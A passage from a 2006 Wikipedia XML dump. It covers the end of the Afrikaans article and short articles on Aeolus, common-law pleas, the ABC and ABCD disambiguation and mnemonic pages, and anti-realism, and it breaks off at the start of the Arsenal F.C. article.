| bed || bed || Bett || bed
|-
| eggenoot || echtgenoot || Ehegatte || spouse (Latin root)
|-
| goeienaand || goedenavond&lt;br&gt;goeienavond || guten Abend || good evening
|-
| lughawe || luchthaven&lt;br&gt;vliegveld || Flughafen || airport (French root)
|-
| my || mijn || mein || my
|-
| maak || maken || machen || make
|-
| oes || oogst || Ernte || harvest
|-
| oop || open || offen || open
|-
| oormôre || overmorgen || übermorgen || the day after tomorrow (lit. &quot;overmorrow&quot;)
|-
| saam || samen || zusammen || together (compare &quot;same&quot;)
|-
| skool || school || Schule || school
|-
| sleg || slecht || schlecht || bad (compare &quot;slight&quot;)
|-
| vir || voor || für || for
|-
| voël || vogel || Vogel || bird, fowl
|-
| vry || vrij || frei || free
|-
| vyf || vijf || fünf || five
|-
| waarskynlik || waarschijnlijk || wahrscheinlich || probably (Latin root)
|-
| winter || winter || Winter || winter
|-
| ys || ijs || Eis || ice
|}

== Sociolinguistics ==
Afrikaans is the first language of approximately 60% of South Africa's [[Whites]], and over 90% of the &quot;[[Coloured]]&quot; (mixed-race) population. Large numbers of blacks, [[Asians in South Africa|Indians]], and English-speaking whites also speak it as a second language. 

It is also widely spoken in [[Namibia]], where it has had constitutional recognition as a national, not official, language since independence in [[1990]]. Prior to independence, Afrikaans, along with German, had equal status as an official language. There is a much smaller number of Afrikaans speakers among [[Zimbabwe]]'s white minority, but most left the country in [[1980]]. 

Many South Africans living and working in [[Australia]], [[New Zealand]], [[Canada]], the [[United States]] and the [[United Kingdom]] are also Afrikaans speakers. 

Afrikaans has been influential in the development of [[South African English]]. Many Afrikaans loanwords have found their way into South African English, such as  &quot;veld&quot;, &quot;[[braai]]&quot;, &quot;boomslang&quot;, and &quot;lekker&quot;. A few words in standard English are derived from Afrikaans, such as &quot;[[trek]]&quot;, &quot;spoor&quot;, and, of course, [[apartheid]]. 

In [[1976]], high school students in [[Soweto]] began the rebellion that contributed to the end of [[apartheid]] and the whites-only government of [[South Africa]].  This has been credited to that government's decision that Afrikaans rather than English be used as the language of instruction in non-White schools. However, many historians argue that the language issue was a catalyst for the rebellion rather than the major underlying cause (which was racial oppression). Afrikaans is more widely spoken than English (and is, in fact, spoken by a majority of residents in two of South Africa's nine provinces), so most children may not have objected to the use of Afrikaans per se. Rather, it was the further directive, within the instructional language directive, that non-White (i.e., Black, Coloured and Indian) South African children be denied instruction in all but the most basic topics of mathematics, sciences, fine arts, etc., on the theory they would never need to know those subjects because they would never have the occasion to use such an education. ''See [[History of South Africa]].''

Under South Africa's multiracial [[Constitution]] of [[1994]], Afrikaans remains an official language, but there are now nine other official languages, in addition to English, with which it has equal status. The new dispensation means that Afrikaans is often downgraded in favour of English, or to accommodate the other official languages.  In [[1996]], for example, the [[South African Broadcasting Corporation]] reduced the amount of [[television]] airtime in Afrikaans, while  [[South African Airways]] dropped its Afrikaans name ''Suid-Afrikaanse Lugdiens'' from its livery. Similarly, South Africa's [[diplomatic mission]]s overseas now only display the name of the country in English and their host country's language, but not in Afrikaans.  

Although these moves have angered many Afrikaans speakers, the language has remained strong, with Afrikaans newspapers and magazines continuing to have large circulation figures. Indeed the [[Huisgenoot]], an Afrikaans language general interest family magazine, is the magazine with the largest readership in the country. In addition, a pay-TV channel in Afrikaans called [[KykNet]] was launched in [[1999]] and an Afrikaans music channel, [[MK89]], in [[2005]]. A large number of Afrikaans books also continue to be published every year.

Although Afrikaans has diverged from Dutch over the past three centuries, it still shares 85 per cent of its vocabulary with that language, and Afrikaans speakers are able to learn Dutch within a comparatively short period of time. Native Dutch speakers pick up Afrikaans even more quickly, due to its simplified grammar. This has enabled Dutch companies to outsource their [[call centre]] operations to South Africa, thereby taking advantage of lower labour costs.

Outside of South Africa, the Afrikaans language is sometimes regarded with contempt. However, when the British design magazine [[Wallpaper*]] described Afrikaans as 'the ugliest language in the world', South African [[billionaire]] [[Johann Rupert]], responded by withdrawing advertising for brands such as  [[Cartier SA|Cartier]], [[Van Cleef &amp; Arpels]], [[Montblanc (pens)|Montblanc]] and [[Alfred Dunhill, Ltd.|Alfred Dunhill]] from the magazine [http://business.iafrica.com/news/657706.htm]. The author of the article, Bronwyn Davies, was in fact a South African.

== Afrikaans phrases ==
{{IPA notice}}

Afrikaans is a very centralised language, meaning that most of the vowels are pronounced in a very centralised (i.e. very schwa-like) way. There are a lot of different dialects and different pronunciations — but the transcription should be fairly standard.

* '''Hallo! Hoe gaan dit?'''  {{IPA|[&amp;#614;al&amp;#601;u &amp;#614;u xa&amp;#721;n d&amp;#601;t]}} Hello! How are you? 
* '''Baie goed, dankie.'''  {{IPA|[baj&amp;#601; xu&amp;#721;t danki]}} Very good, thanks.
* '''Praat jy Afrikaans?''' {{IPA|[pr&amp;#593;&amp;#721;t j&amp;#601;i afrik&amp;#593;&amp;#721;ns]}} Do you speak Afrikaans?
* '''Praat jy Engels?''' {{IPA|[pr&amp;#593;&amp;#721;t j&amp;#601;i &amp;#603;&amp;#331;&amp;#601;ls]}} Do you speak English?
* '''Ja.''' {{IPA|[j&amp;#593;&amp;#721;]}} Yes.
* '''Nee.''' {{IPA|[ne&amp;#721;&amp;#601;]}} No.
* ''''n Bietjie.''' {{IPA|[&amp;#601; biki]}} A little.
* '''Wat is jou naam?''' {{IPA|[vat &amp;#601;s j&amp;#601;u n&amp;#593;&amp;#721;m]}} What is your name?
* '''Die kinders praat Afrikaans''' {{IPA|[di k&amp;#601;n&amp;#601;rs pr&amp;#593;&amp;#721;t afrik&amp;#593;&amp;#721;ns]}} The children speak Afrikaans.

Two interesting sentences having the same meaning and written (but not pronounced) identically in Afrikaans and English are:
*'''My pen was in my hand''' ({{IPA|[m&amp;#601;i p&amp;#603;n vas &amp;#601;n m&amp;#601;i h&amp;#593;nt]}})
*'''My hand is in warm water.''' ({{IPA|[m&amp;#601;i h&amp;#593;nt &amp;#601;s &amp;#601;n var&amp;#601;m v&amp;#593;&amp;#721;t&amp;#601;r]}})

== Additional information ==

* Afrikaans has a monument erected in its honour.  The [[Afrikaans Language Monument]] (''Afrikaanse Taalmonument'') is located near the Western Cape Province town of [[Paarl]].
* The letters ''c, q'' and ''x'' are rarely seen in Afrikaans, and words containing them are almost exclusively borrowings from English, Greek or Latin. This is usually because words with ''c'' or ''ch'' in Dutch are [[transliteration|transliterated]] as ''k'' or ''g'' in Afrikaans. Similarly ''q'' and ''x'' are usually transliterated as ''kw'' and ''ks'', for example &quot;equatorial&quot; becomes ''ekwatoriaal'' and &quot;excuse&quot; becomes ''ekskuus''.
* Special letters used are ''è, é, ê, ë, î, ï, ô, û''. Sometimes ''ŉ'' is considered a single character.

== See also ==
*[[Aardklop]] Arts Festival, [[Potchefstroom]]
*[[Afrikaans Language Monument]]
*[[Johannes Kerkorrel]]
*[[List of Afrikaans language poets]]
*[[Taal language]]

== Reference ==
Roberge, P. T., 2002. ''Afrikaans - considering origins'', in ''Language in South Africa'', Cambridge University Press, Cambridge, United Kingdom. ISBN 0-521-53383-X

== External links ==
{{InterWiki|code=af}}
* [http://www.sprachprofi.de.vu/english/afri.htm List of free online resources for learners]
* [http://www.ethnologue.com/show_iso639.asp?code=afr The Ethnologue: Afrikaans]
*[http://www.majstro.com/Web/Majstro/taleninfo/afr_en.php Afrikaans-English-Afrikaans Online Dictionary]
* [http://www.websters-online-dictionary.org/definition/Afrikaans-english/ Afrikaans - English Dictionary]: from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition.
* [http://www.rsg.co.za/ Radio Sonder Grense] (radio without borders) - Afrikaans radio online.
* [http://www.liveaudio.co.za/radiopta/frame.aspx] [Radio Pretoria] - Afrikaans radio online.
* [http://www.afrikaans.nu/pag5.htm] Similarty between Afrikaans and various dialects of modern Dutch.
* [http://roepstem.tripod.com/engels.html Die Roepstem: &quot;What is Afrikaans?&quot;] Afrikaans &amp; Dutch web-site, with largest Afr.-Du. wordlist.
* [http://www.language-museum.com/a/afrikaans.php Afrikaans Sample at Language Museum]
* [http://language-directory.50webs.com/languages/afrikaans.htm List of online Afrikaans-related resources]
* [http://www.spel.co.za Afrikaans Spelling Checker for Microsoft Office]
* [http://lingucomponent.openoffice.org/spell_dic.html Afrikaans Spelling Checker for OpenOffice.org] and [http://prdownloads.sourceforge.net/translate/spell-af-ZA-20040727.xpi?download Mozilla]
* [http://prdownloads.sourceforge.net/translate/OOo_1.1.3_Win32Intel_install_af.zip?download Afrikaans edition of OpenOffice.org]
* [http://www.mozilla.org/products/firefox/all.html Afrikaans edition of the Mozilla Firefox web-browser]
* [http://translate.org.za/ Project to translate Free and Open Source Software into Afrikaans]
* [http://www.puk.ac.za/fakulteite/lettere/skt/afn.html Subject Group Afrikaans and Dutch, School of Languages, North-West University]
* [http://www.wspel.co.za/ Free Afrikaans spelling checker for MS-Word available on the Web]

{{Languages of South Africa}}

[[Category:Afrikaans|*]]
[[Category:Languages of South Africa]]
[[Category:Low Franconian languages]]

[[af:Afrikaans (taal)]]
[[bg:Африкаанс]]
[[ca:Afrikaans]]
[[cs:Afrikánština]]
[[da:Afrikaans]]
[[de:Afrikaans]]
[[et:Afrikaani keel]]
[[es:Afrikaans]]
[[eo:Afrikansa lingvo]]
[[eu:Afrikaans]]
[[fr:Afrikaans]]
[[fy:Afrikaansk]]
[[gd:Afrikaans]]
[[gl:Lingua afrikaans]]
[[ko:아프리칸스어]]
[[id:Bahasa Afrikaans]]
[[xh:IsiBhulu]]
[[it:Afrikaans]]
[[he:אפריקאנס]]
[[kw:Afrikaans]]
[[lt:Afrikanų kalba]]
[[li:Afrikaans]]
[[hu:Afrikaans nyelv]]
[[ms:Bahasa Afrikaans]]
[[nl:Afrikaans]]
[[nds:Afrikaans]]
[[ja:アフリカーンス語]]
[[no:Afrikaans]]
[[nn:Afrikaans]]
[[pl:Język afrikaans]]
[[pt:Africâner]]
[[ru:Африкаанс]]
[[se:Afrikánsagiella]]
[[simple:Afrikaans]]
[[sk:Afrikánčina]]
[[fi:Afrikaans]]
[[sv:Afrikaans]]
[[zh:南非語]]</text>
    </revision>
  </page>
  <page>
    <title>Aeolus</title>
    <id>2163</id>
    <revision>
      <id>39205790</id>
      <timestamp>2006-02-11T14:00:41Z</timestamp>
      <contributor>
        <username>FocalPoint</username>
        <id>433988</id>
      </contributor>
      <comment>Interwiki</comment>
      <text xml:space="preserve">'''Aiolos''' ({{polytonic|&amp;Alpha;&amp;#7988;&amp;omicron;&amp;lambda;&amp;omicron;&amp;sigmaf;}}), [[Latin]]ized as '''Aeolus''', '''Eolus''', '''Aeolos''', or '''Aiolus''', was the name of three personages in [[Greek Mythology]].  These three personages are often difficult to tell apart, and even the ancient mythographers appear to have been perplexed about which Aeolus was which.  Diodorus made an attempt to define each of these three (although it is clear he also became muddled), and his opinion is followed here.  Briefly, the first Aeolus was a son of [[Hellen]] and founder of the Aeolian race; the second was a son of [[Poseidon]], who led a colony to the Tyrrhenian sea; and the third Aeolus was a son of [[Hippotes]] who is mentioned in the ''[[Odyssey]]'' as Keeper of the [[Anemoi|Winds]] in [[Greek Mythology]].  All three men named Aeolus appear to be connected genealogically, although the precise relationship is often ambiguous.  The traditions regarding the second and third Aeolus are especially entangled.

==Aeolus (son of Hellen)==

This '''Aeolus''' was son of Hellen and the nymph Orseis, and a brother of [[Dorus]], [[Xuthus]] and [[Amphictyon]].  He is described as the ruler of [[Aeolia]] (later called [[Thessaly]]) and held to be the founder of the [[Aeolic]] branch of the Greek/Hellenic nation.  Aeolus married [[Enarete]], daughter of Deimachus (otherwise unknown).  Aeolus and Enarete had many children, although the precise number and identities of these children vary from author to author in the ancient sources.  Those listed as the sons of Aeolus and Enarate include [[Cretheus]], [[Sisyphus]], [[Deioneus]], [[Salmoneus]], [[Athamas]], [[Perieres]], [[Cercaphas]] and perhaps [[Magnes]] (who is usually regarded as a brother of [[Macedon]]).  Another son is named [[Mimas]], who provides a link to the third Aeolus (see below) in a genealogy that seems very contrived.  [[Calyce]], [[Peisidice]], [[Perimele]] and [[Alcyone]] were counted among the daughters of Aeolus and Enarate.  This [[Aeolus]] also had an illegitimate daughter named [[Arne]], begotten on [[Melanippe]], daughter of the Centaur [[Cheiron]].  This Arne became the mother of the second Aeolus, by the god Poseidon.

==Aeolus (son of Poseidon)==

This '''Aeolus''' was a son of Poseidon by Arne, daughter of Aeolus.  He had a twin brother named [[Boeotus]].  Arne confessed to her father that she was with child by the god Poseidon; Aeolus, however, did not believe her, and handed her over to a man named [[Metapontus]], King of Icaria.  When Boeotus and Aeo­lus were born, they were raised by Meta­pontus; but their stepmother ([[Autolyte]], wife of Metapontus) quarrelled with their mother Arne, prompting Boeotus and Aeolus to kill Autolyte and flee from Icaria.  Boeotus (accompanied by Arne) went to southern Thessaly, and founded [[Boeotia]]; but Aeolus went to a group of islands in the Tyrrhenian sea, which received from him the name of the [[Aeolian Islands]]; accord­ing to some accounts this Aeolus founded the town of Lipara.  Although his home has been traditionally identified as one of the Aeolian Islands (there is little consensus as to which), near [[Sicily]], an alternative location has been suggested at [[Gramvousa]] off the northwest coast of [[Crete]].  Aeolus had six sons and six daughters, and the family lived happily together - that is until the day Aeolus learned that one of his sons, named [[Macareus]], had committed incest with his sister [[Canace]].  Horrified, Aeolus expelled Macareus (Canace killed herself in shame) and threw the child borne of this incestuous union to the dogs.  (Other accounts claim that the child, a daughter named [[Amphissa]]) was rescued and later beloved by [[Apollo]]).

==Aeolus (son of Hippotes)==

This '''Aeolus''' is most frequently conflated with Aeolus, the son of Poseidon.  It is difficult to delineate this Aeolus from the second Aeolus, as their identities seem to have been merged by many ancient writers.  The father of this third Aeolus is given as Mimas, a son of the first Aeolus (son of Hellen).  According to some accounts, Mimas married the same Melanippe who was the mother of Arne!  This Aeolus lived on the floating island of [[Aeolia]] and was visited by [[Odysseus]] and his crew in the ''Odyssey.'' He gave hospitality for a month and provided for a west wind to carry them home.  Unfortunately he also provided a gift of a bag containing each of the four winds, which Odysseus's crew members opened just before their home was reached.  They were blown back to [[Aeolia]], where Aeolus refused to provide any further help. (''[[Odyssey]]'' X, 2; [[Virgil]] I, 52).  This Aeolus was perceived by later authors (i.e., after Homer) as a god, rather than as a mortal and simple Keeper of the Winds (as in the ''Odyssey'').  



[[Category:Greek gods]]
[[Category:Characters in the Odyssey]]

&lt;!-- interwiki --&gt;

[[da:Aiolos]]
[[de:Aiolos (Gott)]]
[[el:Αίολος]]
[[es:Eolo]]
[[eo:Eolo]]
[[fr:Éole (dieu)]]
[[hr:Eol]]
[[it:Eolo]]
[[he:איאולוס]]
[[lt:Eolas]]
[[nl:Aeolus (mythologie)]]
[[no:Aiolos]]
[[pl:Eol]]
[[sv:Aiolos]]</text>
    </revision>
  </page>
  <page>
    <title>Autrefois convict</title>
    <id>2164</id>
    <revision>
      <id>41735626</id>
      <timestamp>2006-03-01T10:58:34Z</timestamp>
      <contributor>
        <username>Acerperi</username>
        <id>173184</id>
      </contributor>
      <text xml:space="preserve">In the common law legal system, a [[plea]] of '''autrefois convict''' ([[Law French]] for 'previously convicted') is one in which the defendant claims to have been previously convicted for the same offence and that hence they cannot be tried again. A plea of autrefois convict can be combined with a plea of not guilty. This plea is one of the [[peremptory pleas]].
{{law-stub}}
[[Category:Pleas]]</text>
    </revision>
  </page>
  <page>
    <title>Autrefois acquit</title>
    <id>2165</id>
    <revision>
      <id>41735738</id>
      <timestamp>2006-03-01T10:59:59Z</timestamp>
      <contributor>
        <username>Acerperi</username>
        <id>173184</id>
      </contributor>
      <text xml:space="preserve">In the [[common law]] [[legal system]], a plea of '''autrefois acquit''' ([[French language|French]] for 'previously acquitted') means the defendant claims to have been previously acquitted of the same offence, on substantially the same evidence, and that hence he or she cannot be tried again. A plea of ''autrefois acquit'' can be combined with a plea of not guilty. This plea is one of the [[peremptory pleas]]. It is a term of [[Law French]].

Related doctines include res judicata and, in the criminal context, a plea in bar of [[double jeopardy]]. 
{{law-stub}}
[[Category:Pleas]]</text>
    </revision>
  </page>
  <page>
    <title>ABC</title>
    <id>2166</id>
    <revision>
      <id>41815556</id>
      <timestamp>2006-03-01T22:55:45Z</timestamp>
      <contributor>
        <username>RoyBoy</username>
        <id>94806</id>
      </contributor>
      <minor />
      <comment>/* Biology and medicine */ fix link</comment>
      <text xml:space="preserve">{{Wiktionarypar2|ABC|abc}}
{{tocright}}
'''ABC''' may mean:

== Organizations ==
* [[Anarchist Black Cross]]
* [[ABC Futebol Clube]], a Brazilian football (soccer) club
* [[ABC Motors]], a former British vehicle manufacturer
* [[ABC store]], an Alcoholic Beverage Control liquor store
* [[Aerial Board of Control]], a fictional world government organisation
* [[Alcoholic beverage control states]]
* [[American Baptist Churches USA]] (formerly ''American Baptist Convention'')
* [[American Bowling Congress]]
* [[Association for Bright Children]], a Canadian organization
* [[Association of British Counties]]
* [[Atlanta Bread Company]]
* [[Atlantic Baptist University]] (formerly ''Atlantic Baptist College'')
* [[Audit Bureau of Circulations]], an organization for advertisers and publications

=== Media companies ===
* [[ABC Records]], a recording label
* [[American Broadcasting Company]]
** [[ABC Family]], the cable TV division
** [[ABC News]], the news division
** [[ABC Radio]], the radio division
** [[ABC Sports]], the sports division
* [[Asahi Broadcasting Corporation]] in Osaka, Japan
* [[Associated British Corporation]], a former British television company
* [[Associated Broadcasting Company]], a television network in the Philippines
* [[Australian Broadcasting Corporation]], a radio and television network in Australia, including:
**[[ABC Local Radio]]
**[[Radio Australia]]
* [[Diario ABC]], a newspaper in Spain
* ABC Cinemas in Southport
* [[ABC (newspaper)|ABC]], newspaper in [[List of newspapers in Albania|Albania]].

== Science and technology (not organizations) ==
* [[Abc Conjecture]], in number theory
* [[ABC weapons]] for waging ''atomic, biological, and chemical'' warfare

=== Automotive ===
* [[ABC (1906 automobile)]], an American car
* [[ABC (1920 automobile)]], an English car
* [[ABC (1922 automobile)]], a planned (but never built) American car
* [[Active Body Control]], Active Suspension for Mercedes S-Class

=== Biology and medicine ===
* [[Abacavir]], an antiviral drug developed for treatment of AIDS
* [[ABC (first aid)]]
* [[ABC-Transporter Genes]]
* [[Abortion-breast cancer hypothesis]] in developmental biology
* ''Abstain - Be faithful - Condomize'', a method to prevent [[AIDS]]
* ABC (Angry Backfiring C nocireceptors), a rare autoimmune disorder

=== Computing ===
* [[ABC (Yet Another BitTorrent Client)]], a BitTorrent client
* [[ABC ALGOL]], a programming language
* [[ABC programming language]]
* [[ABC80]], a home computer sold around 1980
* [[Atanasoff Berry Computer]], the first electronic digital computer

=== Psychology ===
* ABC = Antecedent, behavior, consequence  See also:[[behavior modification]]

==Music==
* [[ABC (album)]], an album by The Jackson 5, which included the hit song [[ABC (song)|&quot;ABC&quot; (song)]]
* [[ABC (band)]], an early 1980s new wave musical group
* [[ABC (musical notation)]]
* [[Another Bad Creation]], an early 1990s juvenile hip hop/R&amp;B musical group

==People==
* [[American-born Chinese]]
* [[Australian-born Chinese]]
* [[Andrew Browne Cunningham]] (1883&amp;ndash;1963), British admiral
* [[Archbishop of Canterbury]]

==Other==
* [[ABC islands]] (Aruba, Bonaire, and Curaçao)
* ''[[The ABC Murders]]'', a novel by Agatha Christie
* The [[ABC region]] of São Paulo, Brazil
* [[ABC countries]] of Argentina, Brazil and Chile
* [[ABC Trial]] in the United Kingdom
* [[Activity-based costing]], in accounting
* [[Alien big cat]], a possibly fictitious creature
* &quot;Anything But Chardonnay&quot;
* &quot;Already been chewed&quot;
* [[Altnabreac railway station]] (National Rail code: '''ABC''') in the United Kingdom
* [[Closing|Always Be Closing]], a sales term which refers to the process of making a sale, popularized by the film ''[[Glengarry Glen Ross (film)|Glengarry Glen Ross]]''
* [[America's Best Comics]]
* [[Assignment for the Benefit of a Creditor]], in law
* [[Los Llanos Airport]] (IATA airport code: '''ABC''') in Albacete, Spain 

{{TLAdisambig}}

[[af:ABC]]
[[cs:ABC (rozcestník)]]
[[da:ABC]]
[[de:ABC]]
[[et:ABC]]
[[el:ABC]]
[[es:ABC]]
[[fr:ABC]]
[[it:ABC]]
[[la:ABC]]
[[nl:ABC]]
[[ja:ABC]]
[[no:ABC]]
[[pl:ABC]]
[[pt:ABC]]
[[sq:ABC]]
[[sl:ABC]]
[[fi:ABC]]
[[sv:ABC]]
[[vi:ABC]]</text>
    </revision>
  </page>
  <page>
    <title>Alford plea</title>
    <id>2167</id>
    <revision>
      <id>41736256</id>
      <timestamp>2006-03-01T11:06:53Z</timestamp>
      <contributor>
        <username>Acerperi</username>
        <id>173184</id>
      </contributor>
      <text xml:space="preserve">In the law of the [[United States]], an '''''Alford''''' '''plea''' is a [[plea]] in criminal court.  In this plea, the defendant does not admit the act and asserts innocence, but admits that sufficient evidence exists with which the prosecution could likely convince a judge or jury to find the defendant guilty.  Upon receiving an Alford plea from a defendant, the court may immediately pronounce the defendant guilty and impose [[sentence (law)|sentence]] as if the defendant had otherwise been convicted of the crime. However, in many states, such as Massachusetts, a plea which &quot;admits sufficient facts&quot; more typically results in the case being continued without a finding and later dismissed. It is the prospect of an ultimate dismissal of charges which engenders most pleas of this type.

The Alford plea differs slightly from the [[nolo contendere]] (&quot;no contest&quot;) plea.  An Alford plea is simply a form of a guilty plea, and, as with other guilty pleas, the judge must see there is some factual basis for the plea.  Therefore, a defendant's prior conviction via an Alford plea can be considered in future trials; and it will count as a &quot;strike&quot; if a [[three strikes law]] applies.  On the other hand, a nolo contendere plea is in no way an admission of guilt, and it cannot be introduced in future trials as evidence of [[incorrigibility]].  However, courts do not have to accept a plea of nolo contendere, and usually do not, except in certain nonviolent cases.

This plea originated in the [[Supreme Court of the United States|United States Supreme Court]] case of [[North Carolina v. Alford]] ([[1970]]), [http://caselaw.lp.findlaw.com/scripts/getcase.pl?navby=case&amp;court=US&amp;vol=400&amp;invol=25 400 US 25]. Under subsequent case law, an ''Alford'' plea generally has the same effect as a plea of guilty with respect to sentencing, and use of the conviction as an aggravating factor if the defendant is later convicted of another offense. 

Some critics have spoken out against the ''nolo contendere'' and ''Alford'' pleas on the moral grounds that they undermine public confidence in the accuracy and fairness of the criminal justice system, sending some people to jail who are unrepentant or innocent; and that they dodge the &quot;morality play&quot; aspect of a criminal trial, in which upright civilization is vindicated and the community sees that the guilty are punished. Others see this as the major benefit of these pleas.

==References==
*[http://www.pbs.org/wgbh/pages/frontline/shows/plea/four/nolo.html] ''Harmonizing Substantive Criminal Law Values and Criminal Procedure: The Case of ''Alford'' and Nolo Contendere Pleas'', originally published in the ''Cornell Law Review'', Volume 88, Number 6, July 2003

{{law-stub}}
[[Category:Pleas]]</text>
    </revision>
  </page>
  <page>
    <title>ABCD</title>
    <id>2170</id>
    <revision>
      <id>37751193</id>
      <timestamp>2006-02-01T23:24:13Z</timestamp>
      <contributor>
        <username>Vinayak.nagpal</username>
        <id>866393</id>
      </contributor>
      <text xml:space="preserve">:''This article is about the mnemonic. ABCD is also an [[initialism]] for  [[American Born Confused Desi]].'' ''ABCD was also a saying in World War II that means America, Britain, China, and Dutch.''


'''ABCD''' is a [[mnemonic]] for memorizing essential steps in [[resuscitation]].

* '''A''' - airways - clear the [[Respiratory_system|airways]]
* '''B''' - breathing - restore [[cellular respiration|respiration]]
* '''C''' - circulation - restore [[Circulation (physiology)|circulation]]
* '''D''' - drugs/[[defibrillation]] - defibrillate/give drugs ([[adrenaline]], [[atropine]], etc.)

In the [[United Kingdom|UK]] the [[mnemonic]] [[DR ABC]] is commonly used.

The general public do not normally have the knowledge or authority to administer drugs.


== See also: ==
* [[cardiac arrest]]
* [[ventricular fibrillation]]
* [[asystole]]
* [[ventricular tachycardia]]
* [[cardiopulmonary resuscitation]]
* [[artificial respiration]]
* [[first aid]]
[[Category:First aid]]</text>
    </revision>
  </page>
  <page>
    <title>Anti-realism</title>
    <id>2171</id>
    <revision>
      <id>34477648</id>
      <timestamp>2006-01-09T09:25:50Z</timestamp>
      <contributor>
        <username>Jahsonic</username>
        <id>5720</id>
      </contributor>
      <text xml:space="preserve">In [[philosophy]], the term '''anti-realism''' is used to describe any
position involving either the denial of the objective reality of entities of a certain type or the insistence that we should be [[agnosticism|agnostic]] about their real existence. Thus, we may speak of '''anti-realism''' with respect to other minds, the past, the future, [[Universal (metaphysics)|universals]], [[mathematics|mathematical entities]] (such as [[natural numbers]]), [[morality|moral categories]], the material world, or even thought.

The term was popularised by [[Michael Dummett]], who introduced it in
his paper ''Realism'' to re-examine several classical philosophical
disputes involving such doctrines as [[nominalism]], 
[[conceptual realism]], [[idealism]] and [[phenomenalism]]. The novelty of
Dummett's approach consisted in seeing these disputes as analogous to
the dispute between [[intuitionism (philosophy of mathematics)|intuitionism]] and [[Platonism]] in the [[philosophy of mathematics]].

According to intuitionists (anti-realists with respect to mathematical objects), the [[truth]] of a mathematical statement consists in our ability to prove it. According to platonists ([[philosophical realism|realists]]), the truth of a statement consists in its correspondence to [[objective]] reality. Thus, intuitionists are ready to accept a statement of the form &quot;P or Q&quot; as true only if we can prove P or if we can prove Q:
this is called the [[disjunction property]]. In particular, we cannot in general claim that &quot;P or not P&quot; is true (the [[law of the excluded middle]]), since in some cases we may not be able either to prove nor disprove the statement P.  Similarly, intuitionistists object to the failure of the [[existence property]] for classical logic, where one can prove &lt;math&gt;\exists x.\phi(x)&lt;/math&gt;, without being able to produce any term &lt;math&gt;t&lt;/math&gt; of which &lt;math&gt;\phi&lt;/math&gt;  holds.

Dummett argues that the intuitionistic notion of truth lies at the
bottom of various classical forms of '''anti-realism'''. He uses this
notion to re-interpret [[phenomenalism]], claiming that it need not
take the form of a [[reductionism]] (often considered untenable).

In [[philosophy of science]], anti-realism applies chiefly to claims about the non-reality of &quot;unobservable&quot; [[entity|entities]] such as [[electron]]s, which are not detectable with our normal human senses but which many nonetheless claim are real. For a brief discussion comparing such anti-realism to its opposite, realism, see (Okasha 2002, ch. 4). Ian Hacking (1999, p. 84) also uses the same definition.  The anti-realist position in the philosophy of science is often called [[Instrumentalism]], which takes a purely functionalist view of the existence of unobservable (or only indirectly observable) entities: X exists only to the same extent that it works within a theory Y, and nothing more useful may be said about it ontologically.

In discussions of [[art]] (including [[Visual arts and design|visual art]], writing, [[music]], and [[lyrics]]), '''anti-realism''' and '''anti-realist''' may be used in one of the philosophical senses described above, or may simply be used in contrast to [[realism (arts)|realism]], in whatever sense the latter is meant. Thus [[surrealism]] in visual art is an &quot;anti-realist&quot; tendency, and the [[psychedelic]] bands common in the United States in the [[1960s]] were &quot;anti-realist,&quot; etc. These terms may not be as precise when applied to art as when applied to philosophical matters.  '''Anti-reality''' is occasionally used in this sense, although it may be used in other senses.

== See also ==

* [[Crispin Wright]]
* [[Intuitionistic logic]]
* [[Irrealism]]
* [[Maya (illusion)]]

== References ==

* Michael Dummett (1963). ''Realism,'' reprinted in: Truth and Other Enigmas, Harvard University Press: 1978, pp. 145-165.
* Michael Dummett (1967). ''Platonism,'' reprinted in: Truth and Other Enigmas, Harvard University Press: 1978, pp. 202-214.
* Ian Hacking (1999). ''The Social Construction of What?''. Harvard University Press: 2001.
* Samir Okasha (2002). ''Philosophy of Science: A Very Short Introduction''. Oxford University Press.

[[Category:Realism]]
[[Category:Epistemology]]</text>
    </revision>
  </page>
  <page>
    <title>Arsenal F.C.</title>
    <id>2174</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42028202</id>
      <timestamp>2006-03-03T08:35:12Z</timestamp>
      <contributor>
        <username>Qwghlm</username>
        <id>122121</id>
      </contributor>
      <minor />
      <comment>/* History */ reword joining of football league</comment>
      <text xml:space="preserve">{{Football club infobox |
  clubname = Arsenal |
  image    = [[Image:Arsenal FC.png|140px]] |
  fullname = Arsenal Football Club|
  nickname = The Gunners|
  founded  = 1886 as ''Dial Square''|
  ground   = [[Arsenal Stadium]],&lt;br /&gt;[[Highbury]], [[London]] |
  capacity = 38,500 |
  chairman = [[Image:Flag of England.svg|20px|English]] [[Peter Hill-Wood]] |
  manager  = [[Image:Flag_of_France.svg|20px|French]] [[Arsène Wenger]] |
  league   = [[FA Premier League]] |
  season = [[FA Premier League 2004-05|2004-05]] |
  position = Premier League, 2nd |
  pattern_la1=|pattern_b1=|pattern_ra1=|
  leftarm1=7B1421|body1=7B1421|rightarm1=7B1421|shorts1=FFFFFF|socks1=7B1421|
  pattern_la2=|pattern_b2=|pattern_ra2=|
  leftarm2=FFDE00|body2=FFDE00|rightarm2=FFDE00|shorts2=565656|socks2=565656|
}}
'''Arsenal Football Club''' (also known as '''Arsenal''', '''The Arsenal''' or '''The Gunners''') are an [[England|English]] professional [[football (soccer)|football]] club based in north [[London]]. They play in the [[FA Premier League]] and are one of the most successful clubs in [[Football in England|England]]. Arsenal have won thirteen [[Football League First Division|First Division]] and Premier League titles, and the [[FA Cup]] ten times, although the team have yet to achieve similar success in the [[UEFA Champions League]].

Arsenal were founded in south-east London in [[1886 in sports|1886]], but moved to their current home ground, the [[Arsenal Stadium]], [[Highbury]], in [[1913 in sports|1913]]. In August [[2006 in sports|2006]] the club will move to the new 60,000-seat [[Emirates Stadium]] in nearby Ashburton Grove. Arsenal have a long-standing and fierce rivalry with [[Tottenham Hotspur F.C.|Tottenham Hotspur]], from nearby [[Tottenham]], whom they play in the [[North London derby]].

==History==
{{details|History of Arsenal F.C.}}
&lt;!-- This section is meant to be just a summary. Please do not add too much detail - the [[History of Arsenal F.C.]] article is intended for detailed additions. --&gt;
